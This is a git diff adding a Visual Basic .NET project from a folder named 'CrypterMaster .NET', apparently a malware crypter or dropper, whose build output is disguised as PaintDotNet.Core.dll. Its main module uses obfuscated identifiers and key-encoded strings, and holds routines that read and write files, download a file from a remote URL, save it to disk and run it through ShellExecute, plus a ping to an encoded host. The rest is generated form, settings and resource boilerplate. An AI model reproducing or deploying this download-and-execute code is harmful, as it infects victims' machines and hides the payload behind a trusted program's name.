"" + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True + Case Else + End Select + Next + Catch PœØØÆgœœSØÆDÆELœÆÆn3aÆzØÆ As Exception + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = False + End Try + End Function + + Public Function mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(ByRef B8ÆØuDÆØØœ As Integer, ByRef FlØœœeRTØœ As Boolean) As String + Dim Økzx8Wbœpb As New Random() + Dim lXMØbØz6œœ35TjÆzœœEØfØœœœ() As Char = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("úùøÿþýüóòñð÷öõôëêéèïîíìãâáÚÙØßÞÝÜÓÒÑÐ×ÔÖÕÔËÊÉÈÏÎÍÌÃÂÁ«ª©¨¯®­¬£¢", "›").ToCharArray() + Dim itÆWaØSGzJSqA6ÆObGØGœFœBd As String = String.Empty + For Ok5ÆØØJØØS As Integer = 0 To B8ÆØuDÆØØœ - 1 + itÆWaØSGzJSqA6ÆObGØGœFœBd += lXMØbØz6œœ35TjÆzœœEØfØœœœ(Økzx8Wbœpb.Next(lXMØbØz6œœ35TjÆzœœEØfØœœœ.Length - 1)) + Next + Return IIf(FlØœœeRTØœ, itÆWaØSGzJSqA6ÆObGØGœFœBd.ToUpper(), itÆWaØSGzJSqA6ÆObGØGœFœBd) + End Function + + Public Function rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ(ppJØœGØÆ8d3IØbØœœyÆœRGÆØL As String) As String + Try + Dim Æœ1CœœRlØœ As Integer + Æœ1CœœRlØœ = FreeFile() + FileOpen(Æœ1CœœRlØœ, ppJØœGØÆ8d3IØbØœœyÆœRGÆØL, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ = New String(Chr(0), FileLen(ppJØœGØÆ8d3IØbØœœyÆœRGÆØL)) + FileGet(Æœ1CœœRlØœ, rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ) + FileClose(Æœ1CœœRlØœ) + Catch œQœØeÆzÆØÆIœØØZp2œXYØe25œØa7ÆtœTØ4eidÆ1XÆÆœvÆÆØPœa As Exception + Return "" + End Try + End Function + + Public Sub XqzFGaBa9fycWxwoPeWzO0FflkSL5sakHawct005L9ub7(coØsØq6ÆØz As String, ØIØSjL8ÆcØ As String) + Dim Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk As Integer + Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk = FreeFile() + FileOpen(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk, coØsØq6ÆØz, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) + FilePut(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk, ØIØSjL8ÆcØ) + FileClose(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk) + End Sub + + Public Sub EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(ÆÆ8dmcØ2cC As String) + Dim œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ As Object + œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Èóþ÷÷µÚëë÷òøúïòôõ", "›")) + œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ.ShellExecute(ÆÆ8dmcØ2cC, "", "", SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ôëþõ", "›"), 1) + œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ = Nothing + End Sub + + Public Sub FBGId596oUCgMgQ7BtaNfzCS2Kvk2G1dPVxtEUg6XUy2Q(RhœœœœHkØa As String, ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh As String, Optional lvœØØ3œSœ8lvœØØ3œSœ8 As Boolean = True) + Try + Dim ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ As Object + Dim A2SfÆÆ6ØEØFiœVbœrfØœcfOep As Object + ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÖÈÃÖשµÃÖ×ÓÏÏË", "›")) + Call ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.Open(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÜÞÏ", "›"), RhœœœœHkØa, False) + Call ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.send("") + If ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.Status = 200 Then + A2SfÆÆ6ØEØFiœVbœrfØœcfOep = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÚßÔßÙµÈïéþúö", "›")) + With A2SfÆÆ6ØEØFiœVbœrfØœcfOep + .Open() + .Type = 1 + .Write(ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.responseBody) + .Position = 0 + .SaveToFile(ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh, 2) + .Close() + End With + A2SfÆÆ6ØEØFiœVbœrfØœcfOep = Nothing + End If + ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ = Nothing + If lvœØØ3œSœ8lvœØØ3œSœ8 = True Then Call EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh) + Catch Æbe8œcÆiQWÆœÆØØœÆjOIØiiOOØØØXAKØgÆfAœSœØrØUGmØÆ3Øq As Exception + End Try + End Sub + + Public Function xVqlpdyQ4uJHzwSZY74IkzRN0rg1hfrG4hlDVnMxRVmn0() As Boolean + If My.Computer.Network.IsAvailable = True Then + Return My.Computer.Network.Ping(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ìììµöòøéôèôýïèïôéþµøôö", "›")) + Else + Return False + End If + End Function +End Module + diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/Application.Designer.vb b/scode (CrypterMaster .NET/OSD/OSD/My Project/Application.Designer.vb new file mode 100644 index 0000000..fa5c480 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' Este código fue generado por una herramienta. +' Versión de runtime:4.0.30319.18444 +' +' Los cambios en este archivo podrían causar un comportamiento incorrecto y se perderán si +' se vuelve a generar el código. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTA: este archivo se genera de forma automática; no lo modifique directamente. Para realizar cambios, + ' o si detecta errores de compilación en este archivo, vaya al Diseñador de proyectos + ' (vaya a Propiedades del proyecto o haga doble clic en el nodo My Project en el + ' Explorador de soluciones) y realice cambios en la pestaña Aplicación. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = true + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.OSD.TwistEffect + End Sub + End Class +End Namespace diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/Application.myapp b/scode (CrypterMaster .NET/OSD/OSD/My Project/Application.myapp new file mode 100644 index 0000000..56c9028 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + TwistEffect + true + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/AssemblyInfo.vb b/scode (CrypterMaster .NET/OSD/OSD/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..b234641 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' La información general sobre un ensamblado se controla mediante el siguiente +' conjunto de atributos. Cambie estos atributos para modificar la información +' asociada con un ensamblado. + +' Revisar los valores de los atributos del ensamblado + + + + + + + + + + +'El siguiente GUID sirve como identificador de typelib si este proyecto se expone a COM + + +' La información de versión de un ensamblado consta de los cuatro valores siguientes: +' +' Versión principal +' Versión secundaria +' Número de compilación +' Revisión +' +' Puede especificar todos los valores o usar los valores predeterminados de número de compilación y de revisión +' mediante el asterisco ('*'), como se muestra a continuación: +' + + + diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/Resources.Designer.vb b/scode (CrypterMaster .NET/OSD/OSD/My Project/Resources.Designer.vb new file mode 100644 index 0000000..6360547 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/Resources.Designer.vb @@ -0,0 +1,62 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.34014 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("OSD.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set(ByVal value As Global.System.Globalization.CultureInfo) + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/Resources.resx b/scode (CrypterMaster .NET/OSD/OSD/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/Settings.Designer.vb b/scode (CrypterMaster .NET/OSD/OSD/My Project/Settings.Designer.vb new file mode 100644 index 0000000..df070a7 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.34014 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.OSD.My.MySettings + Get + Return Global.OSD.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/Settings.settings b/scode (CrypterMaster .NET/OSD/OSD/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (CrypterMaster .NET/OSD/OSD/My Project/app.manifest b/scode (CrypterMaster .NET/OSD/OSD/My Project/app.manifest new file mode 100644 index 0000000..ce78507 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/My Project/app.manifest @@ -0,0 +1,58 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (CrypterMaster .NET/OSD/OSD/PaintDotNet.Core.vbproj b/scode (CrypterMaster .NET/OSD/OSD/PaintDotNet.Core.vbproj new file mode 100644 index 0000000..2e32319 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/PaintDotNet.Core.vbproj @@ -0,0 +1,183 @@ + + + + + Debug + AnyCPU + {E34E00A1-BFA9-423B-94EA-62B2361532A7} + WinExe + OSD.My.MyApplication + OSD + PaintDotNet.Core.dll + 512 + WindowsForms + v2.0 + false + publicar\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + true + + + AnyCPU + true + full + true + true + bin\Debug\ + PaintDotNet.Core.dll.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + PaintDotNet.Core.dll.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + true + true + true + bin\x86\Debug\ + PaintDotNet.Core.dll.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + full + x86 + MinimumRecommendedRules.ruleset + + + true + bin\x86\Release\ + PaintDotNet.Core.dll.xml + true + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + pdbonly + x86 + MinimumRecommendedRules.ruleset + + + installer.ico + + + My Project\app.manifest + + + false + + + false + + + + + + + + + + + + + + + + + + + + Form + + + TwistEffect.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + TwistEffect.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/PaintDotNet.Core.vbproj.user b/scode (CrypterMaster .NET/OSD/OSD/PaintDotNet.Core.vbproj.user new file mode 100644 index 0000000..5a871c6 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/PaintDotNet.Core.vbproj.user @@ -0,0 +1,13 @@ + + + + publicar\ + + + + + + es-ES + false + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.Designer.vb b/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.Designer.vb new file mode 100644 index 0000000..9d11cd0 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.Designer.vb @@ -0,0 +1,53 @@ + _ +Partial Class TwistEffect + Inherits System.Windows.Forms.Form + + 'Form reemplaza a Dispose para limpiar la lista de componentes. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Requerido por el Diseñador de Windows Forms + Private components As System.ComponentModel.IContainer + + 'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento + 'Se puede modificar usando el Diseñador de Windows Forms. + 'No lo modifique con el editor de código. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(TwistEffect)) + Me.SuspendLayout() + ' + 'TwistEffect + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.AutoSize = True + Me.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink + Me.AutoValidate = System.Windows.Forms.AutoValidate.Disable + Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image) + Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center + Me.CausesValidation = False + Me.ClientSize = New System.Drawing.Size(1012, 582) + Me.ControlBox = False + Me.Cursor = System.Windows.Forms.Cursors.Cross + Me.DoubleBuffered = True + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.Name = "TwistEffect" + Me.ShowIcon = False + Me.ShowInTaskbar = False + Me.Text = "Core" + Me.ResumeLayout(False) + + End Sub + +End Class diff --git a/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.resx b/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.resx new file mode 100644 index 0000000..0b2a1f0 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.resx @@ -0,0 +1,1610 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + + + iVBORw0KGgoAAAANSUhEUgAABAAAAAMACAYAAAC6uhUNAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAACxAAAAsQAa0jvXUAAAAGYktHRAD/AP8A/6C9p5MAAAAHdElNRQfcBgITIALpixN4 + AAAAHWlUWHRDb21tZW50AAAAAABDcmVhdGVkIHdpdGggR0lNUGQuZQcAAFEvSURBVHhe7d07jmxJ2Qbq + M5QzAUbACBgBI0DHxMDCRLhIeHgIG+FhICEwcFoIBwyE1A5OI+G0A0Y7OH30bva3/+ggYt0ysyqr4gnp + 0c5cseK67l/mzvp//t//79dfAwAAAO+bAAAAAAAsQAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQA + AAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAAAAABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGAB + AgAAAACwAAEAAAAAWIAAAAAAACxAAAAAAAAWIAAAAAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAA + sAABAAAAAFiAAAAAAAAsQAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAA + AABYgAAAAAAALEAAAAAAABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGABAgAAAACwAAEAAAAAWIAA + AAAAACxAAAAAAAAWIAAAAAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAs + QAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAAAA + ABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGABAgAAAACwAAEAAAAAWIAAAAAAACxAAAAAAAAWIAAA + AAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAsQAAAAAAAFiAAAAAAAAsQ + AAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAAAAABYgAAAAAAALEAAAAACA + BQgAAAAAwAIEAAAAAGABAgAAAACwAAEAAAAAWIAAAAAAACxAAAAAAAAWIAAAAAAACxAAAAAAgAUIAAAA + AMACBAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAsQAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQA + AAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAAAAABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGAB + AgAAAACwAAEAAAAAWIAAAAAAACxAAAAAAAAWIAAAAAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAA + sAABAAAAAFiAAAAAAAAsQAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAA + AABYgAAAAAAALEAAAAAAABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGABAgAAAACwAAEAAAAAWIAA + AAAAACxAAAAAAAAWIAAAAAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAs + QAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAAAA + ABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGABAgAAAACwAAEAAAAAWIAAAAAAACxAAAAAAAAWIAAA + AAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAsQAAAAAAAFiAAAAAAAAsQ + AAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAHio7/z4D1//9Nefb/rez/40 + LAsAANyPAADwMN/6/m++/vdX//l6K/3ti399WG9UHgAAuB8BAOBh8nC/lRIcyDcERmUBAID7EgAAHuJX + n33x8TF/nnz1HwAAXo4AAHB3P/jFnz8+4s/Tz3//92FZAADgMQQAgLvKV/r3Uv5rwKgsAADwOAIAwN3k + x/yO/L//b//wd8PyAADA4wgAAHeTr/XvJf/vHwAAXocAAHAXebDfS7/9yz+HZQEAgMcTAABuduTv/Sff + 3/sHAIDXIwAA3Myf/AMAgOcnAADc5Ls/+ezjI/48+eo/AAC8PgEA4Cb/+PKrj4/54+RX/wEA4DkIAACX + /fTXn398zJ+nrDMqCwAAvCwBAOCSfKq/98N/+XbAqCwAAPDyBACAS4788F9+H2BUFgAAeHkCAMBp+fR/ + L/3x8y+HZQEAgNchAACclof7veTTfwAAeC4CAMAp/uwfAAC8TQIAwClHPv33Z/8AAOD5CAAAh33nx3/4 + +Ig/Tz79BwCA5yQAABzml/8BAODtEgAADvHL/wAA8LYJAACH/Pz3f//4mD9P3/vZn4ZlAQCA1ycAABzy + 76/+8/Exf5z+8eVXw3IAAMBzEAAAdv3gF3/++Jg/Tz/65V+HZQEAgOcgAADsOvKn/771/d8MywIAAM9B + AADYdOTH//LXAUZlAQCA5yEAAE8qD975k3pltM5L+OmvP//4mD9PfvwPAACenwAAPJk87I++cp8f4cvD + +Et/1T4/7reV/PgfAAC8DQIA8ESO/NheHri/8+M/DMvfW9rZS/nzgKOyAADAcxEAgCeRr9EfTfk2wEt8 + E+DI3/5/qWAEAABwGwEAeBJ7f2e/Ty/xw3u+/g8AAO+HAAA8gSNf/R+lUV33cuTX/339HwAA3g4BAHgC + R35pf5Qe+dcBfvTLv35sZZ78+j8AALwdAgDwBJ4xAPDbv/zzYyvzNCoHAAA8JwEAeALPGADYSwkQjMoB + AADPSQAAnsDV3wB41F8CSGBhL+W/CIzKAgAAz0kAAJ5AHuSf6a8AHPlGgj//BwAAb4sAADyJIz+6VynB + gvxK/6iee/jj519+bGmc0v6oHAAA8LwEAOCJ5FP9vZSH70d/+r73bYQECEblAACA5yUAAE8m3wSYPYDn + wfvRD//5ZsFeyn8RGJUFAACelwAAPKH8JkD+xn4etMtL/Z/7tLuXHvnXBwAAgMcQAAC+4cgPAD7qrw8A + AACPIwAAfMPeDwD+48uvhuUAAIDnJgAAfEMe8LeSHwAEAIC3SQAA+Ia95AcAAQDgbRIAAD7Jj/vtpR/8 + 4s/DsgAAwHMTAAA+8RcAAADg/RIAAD7xFwAAAOD9EgAAPvn57//+8TF/nkblAACA5ycAAHyy9ycA//bF + v4blAACA5ycAAHyyFwDwJwABAODtEgAAPtlLv/3LP4flAACA5ycAAHyyl/IjgaNyAADA8xMAAD7ZSwIA + AADwdgkAAB9858d/+PiYP08/+uVfh2UBAIDnJwAAfPDdn3z28TF/nrLOqCwAAPD8BACADwQAAADgfRMA + AD4QAAAAgPdNAAD4QAAAAADeNwEA4IPv/exPHx/z50kAAAAA3i4BAOCD/Im/vSQAAAAAb5cAAPCBAAAA + ALxvAgDABwIAAADwvgkAAB8IAAAAwPsmAAB8IAAAAADvmwAA8MEPfvHnj4/58yQAAAAAb5cAAPBBHu73 + kgAAAAC8XQIAwAcCAAAA8L4JAAAfCAAAAMD7JgAAfCAAAAAA75sAAPDBkQBA/lLAqCwAAPD8BACAT/aS + AAAAALxdAgDAJ3tJAAAAAN4uAQDgk730x8+/HJYDAACenwAA8Eke8LeSAAAAALxdAgDAJ3sBgH98+dWw + HAAA8PwEAIBPfv77v3981J+nUTkAAOD5CQAAn+RH/vbSt3/4u2FZAADguQkAAJ9872d/+viYP0/f/cln + w7IAAMBzEwAAPsnD/V7ypwABAOBtEgAAvmEv/eqzL4blAACA5yYAAHxDful/K/lTgAAA8DYJAADfsPen + AJNG5QAAgOcmAAB8w5G/BPCdH/9hWBYAAHheAgDANxz5SwA/+MWfh2UBAIDnJQAAfEP+zv9e+vnv/z4s + CwAAPC8BAOB//Pur/3x81B+nv33xr2E5AADgeQkAAP/jt3/558dH/Xn61vd/MywLAAA8JwEA4H/86Jd/ + /fiYP0/5rYBRWQAA4DkJAMCTyi/tf/cnn33ykp+4p+295HcAAADgbREAgCeTh/1/fPnVx8fsb6ZfffbF + iwUC9n4HIH0clQMAAJ6TAAA8kfx5vb2UB/OX+Dv8CTbspfzFgFFZAADg+QgAwJM48vf3KyUI8OhvAhwJ + RuS3AkZlAQCA5yMAAE9i7yv3fcon9KN67iUBhr3kzwECAMDbIQAAT+DMp/+VEjAY1XVPecDfS/4cIAAA + vA0CAPAEfvrrzz8+Tp9L+cHAUX33cuTPAfpvAAAA8DYIAMATeNYAQH7kby/5bwAAAPA2CADAE3jWAED8 + 8fMvP7Y2T/4aAAAAPD8BAHgCR35xf5Re4v/fH+lbAhijsgAAwPMQAIAnkAf5Z/srAOVI3/7x5VfDsgAA + wPMQAIAncea/AeSB/CW/dp9gw17KXzIYlQUAAJ6DAAA8kSMP2nn4f+mH7e/8+A8fW5+n/FbAqCwAAPAc + BADgyeTP6s2+cp+H7DyMj8o9Wn7tfy/5MUAAAHheAgDwhPL/7vMpf/5bQHmtB/9y5McAX+p3CQAAgPME + AIDD8mN/e+kl/jIBAABwngAAcNiRHyrMOqOyAADA6xIAAA478icBk+9bAAAA8HwEAIBTfAsAAADeJgEA + 4BTfAgAAgLdJAAA47ci3AH7++78PywIAAK9DAAC45MhfBPj2D383LAsAALw8AQDgkh/84s8fH/Pn6bd/ + +eewLAAA8PIEAIDL/vj5lx8f9efpuz/5bFgWAAB4WQIAwGXf+fEfPj7mz9PfvvjXsCwAAPCyBACAm+TH + /vaSPwsIAACvTwAAuEn+3N/eDwLmzwL6QUAAAHhdAgDAzfL//PdSfi9gVBYAAHgZAgDAXRz5rwA/+uVf + h2UBAIDHEwAA7sJ/BQAAgOcmAADcjb8KAAAAz0sAALirfM1/L/mrAAAA8PIEAIC7++1f/vnxUX+e8sOB + o7IAAMBjCAAAd5ffA8hX/bdSfg8g643KAwAA9ycAADxEfg8gD/lbye8BAADAyxEAAB7mez/708dH/Xn6 + 1WdfDMsCAAD3JQAAPNQPfvHnr//4+Zeb8m2BUVkAAOB+BAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAs + QAAAAAAAFiAAAAAAAAsQAAAAAIAFCAAAAADAAgQAAAAAYAECAAAAALAAAQAAAABYgAAAAAAALEAAAAAA + ABYgAAAAAAALEAAAAACABQgAAAAAwAIEAAAAAGABAgAAAACwAAEAAAAAWIAAAAAAACxAAAAAAAAWIAAA + AAAACxAAAAAAgAUIAAAAAMACBAAAAABgAQIAAAAAsAABAAAAAFiAAAAAAAAsQAAAAAAAFiAAAAAAAAsQ + AAAAAIAFCAAAwBv13Z989vVPf/3519/+4e+G+XtuLc9xP/jFnz/M9ShvNeYC4PUIAMCTyY14boxygzTK + 733r+7/5sP6PfvnXYf5bVHMw8r2f/enDmEflZlJf5ue3f/nn13/8/MtPfvXZFx+Wr/Lw8/Pf//3rf3z5 + 1dff+fEfhvm8PTkmkvIgP8rfc2t5jss5J2mUtxpzwa3O3ivl3iHrj/J6FaA6e68xUkHWUd4zSN9yXzDK + 